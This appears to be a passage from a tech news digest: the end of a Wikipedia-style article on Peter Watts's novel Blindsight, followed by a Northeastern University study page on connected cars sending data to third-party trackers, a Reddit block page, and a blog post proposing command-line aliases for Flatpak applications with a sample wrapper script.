In October 2020 a non-commercial Blindsight short film was released. [ 20 ] Watts describes it as, "snatches of Blindsight recalled by Siri Keeton during one of his waking interludes in the aftermath of that novel. Spectacular highlights arranged in reverse order, Memento-like". [ 21 ] In April 2025, Neill Blomkamp was set to adapt the novel into a feature film. [ 22 ]

  1. ↑ "Blindsight: The Lost Covers" . Retrieved 1 January 2013 .
  2. ↑ "2014 Seiun Award Winners" . Locus . 21 July 2014 . Retrieved 21 February 2019 .
  3. ↑ "Hugo Nominees (press release)" . Archived from the original on 3 May 2007 . Retrieved 3 October 2008 .
  4. ↑ "Campbell Award Winners & Nominees" . Worlds Without End . Retrieved 23 December 2011 .
  5. ↑ "Locus SF Award Winners & Nominees" . Worlds Without End . Retrieved 23 December 2011 .
  6. ↑ Watts, Peter. "Blindsight by Peter Watts" . www.rifters.com . Retrieved 8 December 2023 .
  7. 1 2 3 4 5 6 McGrath, Martin (10 March 2011). "Blindsight... Or "In a Chinese Room, not far from the loo" " . Archived from the original on 14 October 2014 . Retrieved 8 October 2014 .
  8. 1 2 3 4 5 6 7 8 9 10 11 12 13 Shaviro, Steven (27 October 2006). "Blindsight" . Archived from the original on 3 December 2006 . Retrieved 8 October 2014 .
  9. 1 2 3 Shaviro, Steven. "Consequences of Panpsychism" (PDF) . p. 14 . Retrieved 8 October 2014 .
  10. 1 2 3 4 5 6 7 8 9 "Transcript Podcast 2: "Blindsight" by Peter Watts" . Science Fiction First. Archived from the original on 15 October 2014 . Retrieved 8 October 2014 .
  11. 1 2 3 4 5 Shaviro, Steven (25 August 2014). "Ferociously Intellectual Pulp Writing" . Archived from the original on 26 August 2014 . Retrieved 8 October 2014 .
  12. 1 2 3 4 5 6 7 Elber-Aviram, Hadas. "Visions of Humanity between the Posthuman and the Non-Human" (PDF) . Imachine: There is No I in Meme : 4– 5. Archived from the original (PDF) on 14 October 2014 . Retrieved 8 October 2014 .
  13. 1 2 3 Nirshberg, Greg (7 December 2010). "Book Review – Blindsight by Peter Watts" . Archived from the original on 1 October 2014 . Retrieved 8 October 2014 .
  14. ↑ Watts, Peter (3 October 2006). Blindsight . Tor Books . pp. 112 . ISBN 978-0-7653-1218-1 .
  15. ↑ Hays, Carl (1 October 2006). "Blindsight". Booklist . 103 (3): 45. ISSN 0006-7385 .
  16. ↑ "BLINDSIGHT". Kirkus Reviews . 74 (16): 816. 15 August 2006. ISSN 0042-6598 .
  17. ↑ Cassada, Jackie (15 October 2006). "Blindsight". Library Journal . 131 (17): 55. ISSN 0363-0277 .
  18. ↑ Blindsight (28 August 2006). "Blindsight". Publishers Weekly . 253 (34): 36. ISSN 0000-0019 .
  19. ↑ Bear, Elizabeth (3 March 2011). "Best SFF Novels of the Decade: An Appreciation of Blindsight " . Tor.com . Retrieved 10 July 2014 .
  20. ↑ Krivoruchko, Danil. "Blindsight: A Short Film" . blindsight.space . Retrieved 30 October 2022 .
  21. ↑ "No Moods, Ads or Cutesy Fucking Icons » Memento with Scramblers: Krivoruchko Crushes It" .
  22. ↑ Barder, Ollie (9 April 2025). "Peter Watts On 'Blindsight', 'Armored Core' And Working With Neill Blomkamp" . Forbes . Retrieved 20 August 2026 .

Car is a smartphone on wheels. Here's who's listening

Hacker News
automatictransmission.khoury.northeastern.edu
2026-10-04 11:43:14
Comments...
Original Article

Your car is a smartphone on wheels. Here's who's listening.

The first large-scale measurement study of the connected-vehicle ecosystem.

A connected car is a vehicle with built-in internet access — Wi-Fi, cellular, GPS — that lets it communicate constantly with its manufacturer and outside companies. Over 75% of vehicles sold globally have this connectity built-in.

A connected vehicle

Photo is not loading images/connected-car.jpg

It knows where you drive.

It knows who you are.

It can share this data and more with insurance companies, advertisers, etc...

Report Summary

Partnering with Consumer Reports, we tested 21 late model vehicles and 30 companion mobile apps to understand the privacy implications of the connected vehicle ecosystem.


  • 01 We find that both vehicles and companion apps contact numerous third-party domains, including advertisers and trackers.
  • 02 19/21 vehicles tested send traffic to at least one third party
  • 03 Seven of 30 apps transmit sensitive identifiers to third-party companies

We go through a lengthy disclosure process and provide insight into how manufacturer's perceive this data sharing issue.
Our findings underscore the need for continued measurement and scrutiny of the connected vehicle ecosystem.

Partnership with Consumer Reports

Consumer Reports gave the team access to its purchased fleet of test vehicles — a sample that would have cost over $1.2M to assemble independently. Read CR's article on our work!

The Paper

This work is peer reviewed and will be published at IMC '26. Read the paper →

The Research Team

We are a team of privacy, security, and networking-systems researchers at Northeastern University. See the full team →

21

vehicles tested,
19 brands

19 / 21

vehicles contacted a
third party over Wi-Fi

7 / 30

apps sent PII to trackers

5 / 30

apps sent VIN + other
PII to trackers

Research Questions

Diagram of how the connected vehcile ecosystem works

Photo is not loading images/car-diagram.png

Connected Vehicle Ecosystem

This diagram shows the data flows to and from a vehicle and its companion mobile app. Both devices send data, including private consumer data, to different 1st and 3rd party servers using Wi-Fi and cellular service. Solid arrows represent flows that were intercepted through our experiments.

The Problem

Once the data gets sent to these servers, it is up to the companies that receive the consumer information to make decisions on what they do with it. Unfortunately, in many cases, this includes sharing or selling consumer data to other undisclosed 3rd parties.
Consumers have no control over their data once it has left their device

In this paper, we take the first steps to address the limited visibility into the privacy implications of the connected vehicle ecosystem. We identify two vantage points in the ecosystem where we can gain insight into the data that connected vehicles are sharing with both manufacturers and third parties: the vehicles themselves and the mobile apps provided by manufacturers.
We ask the following guiding questions:

  • 01 What personal consumer data do connected vehicles and their companion mobile apps transmit?
  • 02 Who receives that personal consumer data?
  • 03 What is the manufacturer response to these findings?

Methods

We investigated 21 vehicles from the U.S. market in a controlled environment along with 30 companion mobile apps instrumented with on-site vehicles between October 2024 and August 2025. Below is a description of the experiments we ran and our setup.

Vehicle Testing

Testing Setup

Photo is not loading images/rpi.png

Wi-Fi Testing Setup

To collect Wi-Fi traffic from vehicles, we configured a custom access point (AP) on a Raspberry Pi and used tcpdump to log all packets that were sent or received via this AP.
This allowed us to see all the destinations the vehicles were sending data to but not the information within the packets as it was encrypted.

Vehicles at the testing facility

Photo is not loading images/test-facility.jpg

Stationary Tests

Idle Baseline
vehicle on — no activity

Active Test
perform all possible actions

Driving Test

drive 5–45 mph with acceleration & hard braking

Isolating Cellular Traffic

Faraday tent used to block cellular signals

Photo is not loading images/faraday-tent.jpg

One hypothesis we tested was whether blocking a vehicle’s ability to communicate over its cellular network would force more Wi-Fi communication. To block external cellular signals, we drove 11 EVs in the sample into a car-sized Faraday tent providing ≈93 dB of attenuation, blocking their cellular connection entirely. Stationary Idle and Active tests were repeated inside the tent to see whether traffic that normally goes out over cellular rerouted to Wi-Fi instead.

App Testing

In total, we experimented with 30 connected vehicle companion apps that were paired with the vehicles at Consumer Reports’s testing facility.

Device Setup

  • 01 We used a combination of test phones and iOS versions for our experiments: an iPhone 8/iOS 16.6, an iPhone X/iOS 16.7.11, and an iPhone 13/iOS 18.5.
  • 02 To minimize background traffic, we deleted all non-essential apps on the test phones and tested apps one-by-one, including deleting each vehicle app and restarting the phone before downloading the next app.
  • 03 We used the iOS native screen recording feature to record our interactions with each app for later review.
  • 04 To capture and decrypt network traffic from the companion mobile apps, we used iPhones with custom root certificates connected to mitmproxy.

Process for Testing Each App

  • 01 During app installation and login we accepted all permission requests (e.g., tracking, location, calendar access, Bluetooth, notifications) that the application requested
  • 02 We had a Consumer Reports employee log into the app using their existing credentials associated with a vehicle on the lot.
  • 03 Once we were logged-in, we manually exercised all available functionality, such as looking for nearby charging staions, geolocating the vehicle, viewing vehicle data and service history (e.g., tire pressure), viewing notifications (e.g., “doors are unlocked”), and viewing in-app privacy policies.
  • 04 Some apps allowed us to perform physical interactions on the vehicle, such as remotely opening the trunk. We performed all such actions and verified that the vehicle completed each request.

Vehicle Dataset

$1.2M+

estimated cost to independently procure this fleet, only possible due to Consumer Reports partnership

Manufacturer Brand Year Model Vehicle Tests
Driving Idle In-Tent Cellular
General Motors (GM) Buick 2024 Envista ✓ ✓ – –
Cadillac 2024 Lyriq ✓ ✓ ✓ –
Chevrolet 2024 Blazer ✓ ✓ ✓ –
Stellantis Dodge 2023 Hornet - ✓ – –
Fiat 2024 500e ✓ ✓ ✓ –
RAM 2025 1500 Bighorn ✓ ✓ – –
Fisker Fisker 2023 Ocean ✓ ✓ - –
Ford Motor Co. Ford 2022 F150 Lightning ✓ ✓ - –
Ford 2024 Mustang GT Fastback ✓ ✓ – –
Honda Motor Co. Honda 2024 Prologue Touring AWD ✓ ✓ ✓ –
Tata Motors Land Rover 2023 Range Rover Sport ✓ ✓ – –
Toyota Motor Corp. Lexus 2024 NX450H+ PHEV ✓ ✓ – –
Toyota 2023 Corolla Cross ✓ ✓ – –
Subaru 2023 Solterra ✓ ✓ ✓ –
Lucid Lucid 2023 Air Touring ✓ ✓ ✓ –
Mercedes-Benz Group AG Mercedes 2023 EQS450 4Matic ✓ ✓ - –
Renault-Nissan-Mitsubishi Alliance Nissan 2023 Ariya Platinum ✓ ✓ ✓ –
Rivian Rivian 2022 R1S ✓ ✓ ✓ –
Tesla Tesla 2024 Cybertruck ✓ ✓ ✓ –
Tesla 2024 Model 3 ✓ ✓ ✓ ✓
Zhejiang Geely Holding Group Volvo 2024 C40 ✓ ✓ ✓ –

* While we tested a wide range of vehicles, we did not cover every manufacturer in the U.S. market. As with all empirical studies, our results should be interpreted as a snapshot in time, and may not generalize to vehicles outside our sample or outside the U.S.

Findings

  • 19 of 21 vehicles contacted at least one third party over Wi-Fi, including known advertising and tracking domains
  • 7 of 30 companion apps transmitted sensitive identifiers (VINs, emails, phone numbers, precise location) to third parties associated with advertising and tracking.
    Transmiting multiple forms of PII to the same third party allows advertisers to build in-depth profiles on consumers

Click any company chip for what it received and from which app.

  • Pairing a companion app roughly doubled a vehicle's exposure to advertising/tracking companies on average, and in some cases added 20+ new ones.

vehicle-only ATA companies added by the companion mobile app

Manufacturer Disclosures

  • The team disclosed these findings to the different manufacturers featured in the study, below is an interactve summary of the different explanations received.

Click any box above for more info.

  • The ongoing theme of all these responses was shifting the blame to the consumer .
  • The current system does not give owners the ability to choose.
    Assuming owners can find the particular agreements, if an owner decides they are uncomfortable with the data sharing described within them, they are faced with (arguably) unfair choices:
    01 accept the agreements regardless of their concerns
    02 stop using their car's connected-vehicle features - which includes remote start, the app, and other very useful features
    03 stop using the vehicle entirely
  • As one notable exception, Honda improved its data collection practices to prevent sending precise geolocation to a third party associated with user tracking.

Conclusion

  • We found that vehicles, under a variety of real-world settings, contact not only a wide range of first parties (i.e., manufacturer domains) and car-specific support parties, but also third parties that are known to provide advertising and tracking services.
  • Vehicles from the same manufacturer exhibit different network behaviors - this makes it very difficult and expensive to study these vehicles.
  • When adding vehicle companion apps to the analysis, we found that vehicle owners are exposed to even more privacy-sensitive ATA communication—in some cases more than two dozen additional trackers.
  • Our study revealed a large gap between what vehicle manufacturers publicly disclosed and how the connected vehicle ecosystem actually shares data over the Internet
  • Based on the opaque nature of vehicular systems, we argue that there is a need for better transparency to ensure increased visibility into the entire ecosystem to identify and address corresponding harms.

RuneScape's Position on Gen AI

Hacker News
www.reddit.com
2026-10-04 11:29:14
Comments...
Original Article

You've been blocked by network security.

To continue, log in to your Reddit account or use your developer token

If you think you've been blocked by mistake, file a ticket below and we'll look into it.

Flatpak from the CLI sucks

Lobsters
kowalski7cc.xyz
2026-10-04 11:21:34
Comments...
Original Article
Sticker by Puzzoz
Sticker by Puzzoz

Package management, from the beginning

One of the features Linux had way before its competition was the ability to download applications from online repositories, which would later be called an "app store". Before this, you would have to download the application binaries and libraries, or build it yourself from the source code, making sure you already had all the required dependencies to compile the application. To solve this issue, package managers like "APT" and "DNF" were developed. On the surface, the task may seem simple: download, install, update, and remove applications. Under the hood, however, a package manager must handle complex operations: downloading the requested application along with all required libraries, checking dependency availability, resolving conflicts, extracting files to the disk, and running any optional post-installation scripts. Once a program was installed, it could be run by clicking on the new icon that appeared, or if the program was placed in /bin/ or another path in the system $PATH variable, by typing the name of the executable.

Sometimes there are too many formats to choose among! - Sticker by Puzzoz
Sometimes there are too many formats to choose among! - Sticker by Puzzoz

As time moved on, new requirements emerged for package managers: distribution-agnostic support and enhanced security through application sandboxing. Because every distribution family had its own package manager, it quickly became obvious that maintaining packages for multiple distributions was time-consuming for developers, and impossible for distribution maintainers to package every available application. Additionally, as security threats increased, it became necessary to isolate untrusted applications from the system, including legitimate software that might be exploited by malware. Access to documents, peripherals, and other aspects of the system needed to be restricted, granting temporary usage only with explicit user permission.

One of these package managers with a new approach is Flatpak.
Flatpak tries to solve both issues by radically changing the packaging and distribution model. It allows developers to ship applications in a layered format that includes all necessary dependencies, working across all distributions, and runs them inside a sandbox. Flatpak provides two kinds of permissions: static permissions declared in the manifest, and dynamic permissions requested at runtime through portals exposed over D-Bus.

This format quickly became the mainstream, default, or even the only way in some distributions to install graphical applications via the software store. However, command-line applications were left behind, and for good reason. Sure, a few CLI-only tools exist, such as flatpak-builder (the tool used to build new Flatpaks), but developers tend to avoid packaging them. Furthermore, as we'll see, their usage from the command line... is rather difficult! If we had installed Flatpak Builder from our distribution's repository with a classic package, we would launch it with flatpak-builder build-folder manifest.yaml . However, when installed as a Flatpak itself, the command becomes flatpak run org.flatpak.Builder build-folder manifest.yaml . Not only does the command become longer and require the full "app id" (which consist of a "unique three-part identifier", pinpointing both the developer and the application), but also requires the filesystem sandbox to be disabled!

In the meantime, flatpak run got a new --file-forwarding option, which maps a specified file from the command line (expressed in the arguments between the @@ delimiters) inside the sandbox to make it available to the application. However, this approach still has a catch.
Adding the required option and enclosing the file path with @@ doesn't help at all with the command length, but more importantly doesn't work with directories or non-existent files you may want to create (such as when converting a picture, where the second file path would be the output file)

Windows 10 and the Universal Windows Platform

Other operating systems encountered the exact same issues regarding application distribution and sandboxing. Windows took a drastic approach: rather than improving the classic Win32 desktop stack, it created an entirely new platform. Even though the technology was initially quite immature, it laid the foundation to distribute "APPX" software through the Windows Store alongside sandboxing via AppContainer.

Soon, developers would realize that migrating from Win32 created a massive workload in trying to port applications to the new platform-and it was not always possible due to the technical limitations of UWP. So in a later update to Windows, the Desktop Bridge was introduced.

Desktop bridge is a Windows technology to package Desktop apps in a modern format
Desktop bridge is a Windows technology to package Desktop apps in a modern format

Among the new features, many of which centered on packaging in the "APPX" format existing Win32 desktop applications, a series of improvements was added to run both UWP and Win32 apps more easily from the command line.

Of course, not every app supported this feature, as it required developers to update the application manifest by adding the uap3:AppExecutionAlias extension and specifying the name of the exported executable outside the sandbox. This would create a special 0-byte execution alias inside %LOCALAPPDATA%\Microsoft\WindowsApps , which is included in the user's PATH variable. This file relies on an NTFS reparse point tagged with IO_REPARSE_TAG_APPEXECLINK . When executed, Windows reads this reparse data and launches the actual binary from the restricted C:\Program Files\WindowsApps directory within its designated application container. An application can export multiple aliases, and the alias name doesn't have to match the executable file inside the container.

Because these aliases sit in a directory that is included in the user's PATH variable, they can sometimes cause conflicts. A classic example is typing python into CMD and unexpectedly opening the Microsoft Store rather than launching the Python version you manually installed from the python website.

To solve this issue, the system provides a simple interface to view all aliases exported by installed applications, along with toggles to disable them. When an alias is turned off, Windows simply deletes that 0-byte reparse point from the %LOCALAPPDATA%\Microsoft\WindowsApps directory. With the file gone, the shell continues searching the rest of the user's PATH.

Windows has a settings page where the user can toggle on and off the various aliases
Windows has a settings page where the user can toggle on and off the various aliases

A solution for Flatpak

Flatpak development could take inspiration from the Windows approach. A suggested solution would consist of multiple small changes. The first would be adding an export-commands key to the Flatpak manifest, mapping internal executable paths to exported command aliases. This approach allowes developers to create wrapper files with complex names inside the package and exporting them with simple names.

app-id: uk.org.greenend.chiark.sgtatham.putty
runtime: org.freedesktop.Platform
runtime-version: '26.08'
sdk: org.freedesktop.Sdk
rename-desktop-file: putty.desktop
rename-icon: putty
command: putty
export-commands:
  putty: putty
  puttygen: puttygen
  psftp: psftp
  pageant: pageant
  pscp: pscp
...

Flatpak builder can take the new section and build the following section in the app metadata file:

[Commands]
putty=putty
puttygen=puttygen
psftp=psftp
pageant=pageant
pscp=pscp

Upon installation, other than showing supported aliases among the current requested permission screen, Flatpak could generate a set of wrapper scripts (analogous to the ones already present in /var/lib/flatpak/exports/bin/ ) with a few key changes: These wrappers would automatically append a --command flag for each exported internal binary, save the wrapper script using the designated alias name, and provide built-in support for --file-forwarding by detecting existing file arguments and wrapping them in @@ delimiters.

#!/bin/sh
for arg do
    shift
    if [ -e "$arg" ]; then
        set -- "$@" "@@" "$(readlink -f "$arg")" "@@"
    else
        set -- "$@" "$arg"
    fi
done
exec /usr/bin/flatpak run --branch=master --arch=x86_64 --command="putty" --file-forwarding uk.org.greenend.chiark.sgtatham.putty "$@"

The Flatpak command could then be extended to include subcommands for enabling or disabling specific aliases, or configuring whether new applications can automatically export aliases by default. Graphical management tools, such as system Settings or Flatseal, could integrate a dedicated control panel, similar to the one in Windows, to simplify alias management for users.

An example of what a similar alias management experience could be in a desktop Linux distribution
An example of what a similar alias management experience could be in a desktop Linux distribution

A Unified Path Forward for Desktop and CLI

As desktop Linux continues to gain mainstream attention, the differences between GUI applications and CLI utilities becomes increasingly important. While Flatpak laid the foundations to solve fragmentation and security challenges of graphical software, extending those same principles of sandboxing and distribution-agnostic delivery to command-line tools requires an implementation change.

Resources